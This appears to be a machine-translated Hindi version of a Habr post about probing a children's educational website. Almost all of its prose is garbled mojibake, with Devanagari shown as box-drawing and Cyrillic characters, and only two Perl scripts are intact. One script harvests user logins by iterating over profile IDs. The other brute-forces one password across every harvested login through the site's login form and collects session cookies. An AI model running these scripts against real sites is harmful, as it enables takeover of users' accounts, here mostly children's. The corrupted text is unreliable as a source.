рдПрдХ рдСрдбрд┐рдЯ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕

рд╡рд┐рднрд┐рдиреНрди рд╣реИрдХ рдХреА рдХрд╣рд╛рдирд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рд╣реИрдмрд░ рдкрд░ рдмрд╣реБрдд рд╕рд╛рд░реЗ рд▓реЗрдЦ рд╣реИрдВ, рдкрд╛рд╕рд╡рд░реНрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд┐рдлрд╛рд░рд┐рд╢реЗрдВ рдФрд░ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдЕрдиреНрдп рдореВрд▓ рдмрд╛рддреЗрдВред рдореИрдВрдиреЗ рдЖрдИрдЯреА-рдЯреЙрдкрд┐рдХреНрд╕ рдХреЗ рдмрдЬрд╛рдп, рдмрд▓реНрдХрд┐ рдмрдбрд╝реА рд╕рд╛рдЗрдЯреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рдЕрдзреНрдпрдпрди рдкрд░ рдПрдХ рдЫреЛрдЯреА рд╕реА рд░рд┐рдкреЛрд░реНрдЯ рд▓рд┐рдЦрдХрд░ рдЕрдкрдирд╛ рдпреЛрдЧрджрд╛рди рджреЗрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рдЬрд┐рд╕рдореЗрдВ, рдмреБрдирд┐рдпрд╛рджреА рд╣реИрдХрд┐рдВрдЧ рддрдХрдиреАрдХреЛрдВ рд╕реЗ рдЕрдЪреНрдЫреА рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдкреГрд╖реНрдарднреВрдорд┐ рдХреЗ рдЦрд┐рд▓рд╛рдл, рдореБрдЭреЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЦреБрдж рдХреЛ рдбрд┐рдЬрд╛рдЗрди рдХрд░рдиреЗ рдореЗрдВ рддреНрд░реБрдЯрд┐ рдорд┐рд▓реАред

рдХрдЯреМрддреА рдХреЗ рддрд╣рдд рдЕрдкрдиреА рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд░рддреЗ рд╕рдордп рдЖрдкрдХреЛ рдХрд┐рди рдмрд╛рддреЛрдВ рдкрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдкрдврд╝реЗрдВред

рд╣рдо рдЬрд╛рдВрдЪ



рдкреНрд░рд╢реНрди рдореЗрдВ рд╕рд╛рдЗрдЯ ASP.NET рдореЗрдВ рд▓рд┐рдЦреА рдЧрдИ рд╣реИ; рдЗрд╕рдореЗрдВ AJAX, HTML5 рдпрд╛ рдЕрдиреНрдп рдШрдВрдЯрд┐рдпрд╛рдБ рдФрд░ рд╕реАрдЯреА рдЬреИрд╕реА рдХреЛрдИ рд╡рд┐рд╢реЗрд╖ рддрдХрдиреАрдХреА рдкрд░рд┐рд╢реЛрдзрди рдирд╣реАрдВ рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдп рдореЗрдиреВ, рд╕реНрдерд┐рд░ рдкрд╛рдаред рджрд░реНрд╢рдХреЛрдВ рдореЗрдВ рд╕реНрдХреВрд▓реА рдмрдЪреНрдЪреЗ рдФрд░ рдкреНрд░рд╛рдердорд┐рдХ рд╕реНрдХреВрд▓ рдХреЗ рдЫрд╛рддреНрд░ рд╣реИрдВред
рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдЖрдзрд╛рд░ рдХреЛ рдмрдирд╛рдиреЗ рд╡рд╛рд▓реА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдПрдХ рдЖрднрд╛рд╕реА рдЬрд╛рд╡рд╛ рдорд╢реАрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрд▓рдЧ рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рд╣рдо рдирд╣реАрдВ рдкрд╣реБрдВрдЪреЗрдВрдЧреЗред

рдЖрд░рдВрдн рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкрдВрдЬреАрдХрд░рдг рджреЗрдЦреЗрдВред рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдПрдХ рдЕрд▓рдЧ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдЙрдкрдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмрд╣реБрдд рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдбреЗрдЯрд╛ рджрд░реНрдЬ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рддреЗ рд╣реБрдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЬреЛрдбрд╝рдирд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рд╡рд┐рдЪрд╛рд░ рд╣реИред рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ, рдпрд╣ рдХреЗрд╡рд▓ рд╡рдЬрди рд╣реЛрддрд╛ рд╣реИ рдпрджрд┐ рдЖрдкрдХреЛ рд▓реЙрдЧрд┐рди рдХреА рд╕реВрдЪреА рдирд╣реАрдВ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдореЗрдВ рди рдХреЗрд╡рд▓ рдкрд╛рд╕рд╡рд░реНрдб, рдмрд▓реНрдХрд┐ рд▓реЙрдЧрд┐рди рднреА рдЫрд╛рдВрдЯрдирд╛ рд╣реЛрдЧрд╛ред рддрджрдиреБрд╕рд╛рд░, рдПрдХ рдмрд┐рдирд╛ рдХрд┐рд╕реА рд▓реЙрдЧрд┐рди рдХреЗ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХрд╛рдлреА рдмрдбрд╝реА рд╣реЛрдЧреА, рдЬреЛ рд╣реИрдХрд┐рдВрдЧ рдкреНрд░рдпрд╛рд╕ рдХрд╛ рд╕рдВрдХреЗрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рд╕рд╛рдЗрдЯ рдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ рдереЛрдбрд╝рд╛ рдФрд░ рдЪрдврд╝рддреЗ рд╣реБрдП, рдореБрдЭреЗ рдХрд╣реАрдВ рднреА рдХреЛрдИ рдЦреБрд▓реА рд▓реЙрдЧрд┐рди рдирд╣реАрдВ рдорд┐рд▓рд╛ред рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рдкрдВрдЬреАрдХрд░рдг рдФрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рд╕реНрдкрд╖реНрдЯ, рд▓реЗрдХрд┐рди рдХреЛрдИ рдХрдо рдордЬреЗрджрд╛рд░ рд╡рд┐рдЪрд╛рд░ рдореЗрд░реЗ рджрд┐рдорд╛рдЧ рдореЗрдВ рдирд╣реАрдВ рдЖрддрд╛ рд╣реИ: рд╣рдо рдкрдВрдЬреАрдХрд░рдг рдлреЙрд░реНрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреБрдЫ рд╡реНрдпрд╕реНрдд рд▓реЙрдЧрд┐рди рднреЗрдЬрддреЗ рд╣реИрдВ - рд╣рдореЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ рдХрд┐ рдРрд╕рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╣рд▓реЗ рд╕реЗ рдкрдВрдЬреАрдХреГрдд рд╣реИред
рддрджрдиреБрд╕рд╛рд░, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ рдЖрдк рд▓реЛрдХрдкреНрд░рд┐рдп рдирд╛рдореЛрдВ рдХрд╛ рдПрдХ рдкрд░реНрдпрд╛рдкреНрдд рдбреЗрдЯрд╛рдмреЗрд╕ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдХреЗ рд▓реЙрдЧрдЗрди рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣рд╛рдБ
рдпрджрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЧреИрд░-рдореМрдЬреВрдж рд▓реЙрдЧрд┐рди рдкрдВрдЬреАрдХрд░рдг рд╣реЛрдЧрд╛, рддреЛ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдпрд╣ рдмрд╣реБрдд рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рдЗрддрдиреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╡реГрджреНрдзрд┐ рдмрд╣реБрдд рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реЛрдЧреАред

рдореИрдВрдиреЗ рдкрдВрдЬреАрдХрд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рднреЗрдЬреЗ рдЧрдП POST рдЕрдиреБрд░реЛрдз рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ред рдЗрд╕рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧреА рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХреА рдЧрдИ рдереА: рд╕рд┐рд╕реНрдЯрдо рдиреЗ рдкрд╣рд▓реЗ рдЪреЗрдХ рдХрд┐рдпрд╛ рдерд╛ рдХрд┐ рдХреНрдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд▓реЙрдЧрд┐рди рдерд╛, рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рд╣реА рдкрд╛рд╕рд╡рд░реНрдб рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдП рдЧрдП рдереЗред (рдпрд╣ рдЖрд╢реНрдЪрд░реНрдп рдХреА рдмрд╛рдд рд╣реИ рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдкреБрд╖реНрдЯрд┐рдХрд░рдг рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдореИрдЪ рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред
рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкрдВрдЬреАрдХрд░рдг рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддреЗ рд╣реБрдП рдЦреЛрдЬ рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░реЗрдВрдЧреЗред рдХреИрдкреНрдЪрд╛ рдХреЗ рд▓рд┐рдП - рдпрд╣ рдПрдХ рдмрд╛рдзрд╛ рдирд╣реАрдВ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рд╕рд░рд▓ рд╣реИред

рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рд╕рд░рд▓ рд▓реЙрдЧрд┐рди рдЬрд╛рдирд╡рд░ рдмрд▓ рдПрдХ рдЕрд▓рдЧ рд▓реЗрдЦ рдХреЗ рд▓рд╛рдпрдХ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдкрд░реНрдпрд╛рдкреНрдд рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рдмрд╛рдж, рдореБрдЭреЗ рд╕рдордп рдореЗрдВ рдПрдХ рдФрд░ рдЪреИрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдорд┐рд▓рд╛: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧрд┐рди рд╡рд┐рдВрдбреЛ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрджреЗрд╢ рдореЗрдВ рдерд╛! рдпрд╣ рдХрд╣рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реИ рдХрд┐ рдЙрд╕реЗ рдХрд┐рд╕рдиреЗ рдФрд░ рдХреНрдпреЛрдВ рд╡рд╣рд╛рдВ рд░рдЦрд╛ред рдЬрд╛рд╣рд┐рд░рд╛ рддреМрд░ рдкрд░, рдЬрдм рдЙрдиреНрд╣реЛрдВрдиреЗ рд╕рд┐рд╕реНрдЯрдо рд▓рд┐рдЦрд╛, рддреЛ рдкреВрд░рд╛ рдирд╛рдо рдЕрднреА рддрдХ рджрд░реНрдЬ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд╡реЗ рдЗрд╕ рдбрд┐рдмрдЧ рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рднреВрд▓ рдЧрдПред рдЬреИрд╕рд╛ рдХрд┐ рдХрд╣рд╛рд╡рдд рд╣реИ: "рдЕрд╕реНрдерд╛рдпреА рд╕реЗ рдЕрдзрд┐рдХ рд╕реНрдерд╛рдпреА рдХреБрдЫ рднреА рдирд╣реАрдВ рд╣реИред"

рдкрд░рд┐рдгрд╛рдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг



рд╣рдореЗрдВ рдПрдХ рд▓реЙрдЧрд┐рди рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИ, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдкреГрд╖реНрда рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ
рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрдЯ / icq / id = N

for ($k=0;$k<$max_thread;$k++){ thread_search(); } $cv->recv; sub thread_search{ my $url = "http://site/icq/?user=".$i; http_get $url, sub { my ($body, $hdr) = @_; if ($hdr->{Status} =~ /^2/) { if ($body =~ /<TITLE>(.*) "/){ print OUTPUT $1.",$i\n"; } } else { print OUTPUT $url." error, ".$hdr->{Status}." ".$hdr->{Reason}."\n"; } $i++; if ($i>$MAX){ $cv->send; } else{ thread_search(); } }; } 


рд▓рд┐рдЦрд╛ рд╣реБрдЖ рдЬрд▓реНрджреА рдкреВрд░рд╛ рд╣реЛ рдЧрдпрд╛ред рдирддреАрдЬрддрди, рдореБрдЭреЗ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдорд┐рд▓рд╛, рдЬрд┐рд╕реЗ рдореИрдВрдиреЗ рддрдм рд╕реЙрд░реНрдЯ рдХрд┐рдпрд╛ рдФрд░ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛, рдФрд░ рдПрдХ рд╕реБрдВрджрд░ рдЪрд┐рддреНрд░ рднреА рдмрдирд╛рдпрд╛ред


рдФрд░ рдпрд╣рд╛рдБ рд▓реЙрдЧрд┐рди рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ ред

рдкреНрд░рддреНрдпрдХреНрд╖ рдХреНрд░рд┐рдпрд╛



рдЪреВрдВрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ рдирд╣реАрдВ рд╣реИ, рдФрд░ рдЖрдк рдХрдо рд╕реЗ рдХрдо рдПрдХ рд╡рд░реНрдг рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЬрд╛рдирд╡рд░ рдмрд▓ рд╕рдлрд▓ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рд╣рдо рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рд╡рд┐рддрд░рд┐рдд рдХрд░реЗрдВрдЧреЗред рдкреНрд░рддреНрдпреЗрдХ рдереНрд░реЗрдб рд╕рднреА рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдкрд░ рдкреБрдирд░рд╛рд╡реГрддрд┐ рдХрд░реЗрдЧрд╛ред рдпрд╣ рдЗрд╖реНрдЯрддрдо рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдРрд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рдЖрдорддреМрд░ рдкрд░ рдХрд╛рдлреА рд╕рд░рд▓ рд╣реЛрддреЗ рд╣реИрдВред

 #!/usr/bin/perl use LWP::UserAgent; require HTTP::Request; my $pass = $ARGV[0]; open(OUTPUT,'+>out'.$pass.'.txt'); open(INPUT,'<lof.txt'); while (<INPUT>) { my $l = $_; chop $l; my $ua = new LWP::UserAgent; $ua->agent("Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"); $form = "lgn=$l&password=$pass"; my $request = HTTP::Request->new(POST => 'http://site/'); $request->content($form); $request->content_type('application/x-www-form-urlencoded'); my $response = $ua->request($request); my $co = $response->header("Set-Cookie"); print $co."\n"; } 


рдЦреИрд░, рдХреБрдЫ рдХреНрд░реВрд░ рдмрд▓ рдкрд░рд┐рдгрд╛рдоред рдореИрдВ рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╣реАрдВ рдЧрдпрд╛ рдерд╛ рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣рд╛рдБ рдмрд╣реБрдд рд░реБрдЪрд┐ рдирд╣реАрдВ рдереАред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЫреЛрдЯреЗ рдлрд╝реЛрдХрд╕ рд╕рдореВрд╣ рдореЗрдВ рднреА, рдбрд┐рдЬрд┐рдЯрд▓ рдкрд╛рд╕рд╡рд░реНрдб, qweqwe, qwerty рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ рдЗрд╕ рддрд░рд╣ рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдмрд╣реБрдд рдереАред
рд╡реИрд╕реЗ, рдХреНрдпреВрд╡рд░реНрдЯреА рдкрд╛рд╕рд╡рд░реНрдб рдореЗрдВ рдХреЗрд╡рд▓ 0.1% рд╣реЛрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдбрд┐рдЬрд┐рдЯрд▓ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░реЛрдВ рдореЗрдВ 1 рд╕реЗ 4 рдЕрдХреНрд╖рд░ рдХреБрд▓ 20% рд╕реЗ рдЕрдзрд┐рдХ рд╣реЛрддреЗ рд╣реИрдВред

рдирд┐рд╖реНрдХрд░реНрд╖



рдореЗрд░реА рд░рд╛рдп рдореЗрдВ, рд╕рдВрд╕рд╛рдзрди рдХреА рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрдорд┐рдпреЛрдВ рдХреА рд╕реВрдЪреА рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

* рдЕрд╕рд╛рд╡рдзрд╛рдиреА (рд▓реЙрдЧ рд╕рд╛рдл рд╕рд╛рдЗрдЯ рдкрд░ рдЙрдкрд▓рдмреНрдз рдереЗ)
* рдЧрд▓рдд рдбреЗрдЯрд╛ рд╕рддреНрдпрд╛рдкрди рдЕрдиреБрдХреНрд░рдо
* рдХрдордЬреЛрд░ рдХреИрдкреНрдЪрд╛
* рдХрд┐рд╕реА рднреА рдЖрдИрдкреА рд╕реЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдЕрдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рдВрдЦреНрдпрд╛
* рдХрдордЬреЛрд░ рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ (рдЖрдкрдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдбрд┐рдЬрд┐рдЯрд▓ рдкрд╛рд╕рд╡рд░реНрдб рджрд░реНрдЬ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрдирд╛ рдЪрд╛рд╣рд┐рдП)

рд╕рдВрдмрдВрдзрд┐рдд рд▓рд┐рдВрдХ



UserAgent
AnyEvent
HTTP рдЕрдиреБрд░реЛрдз
рд╕реВрддреНрд░

рдХреНрд▓реЛрдХ рд▓реЗрдЦ рдХреЗ рд╕рдВрдкрд╛рджрди рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж

Source: https://habr.com/ru/post/In135999/


All Articles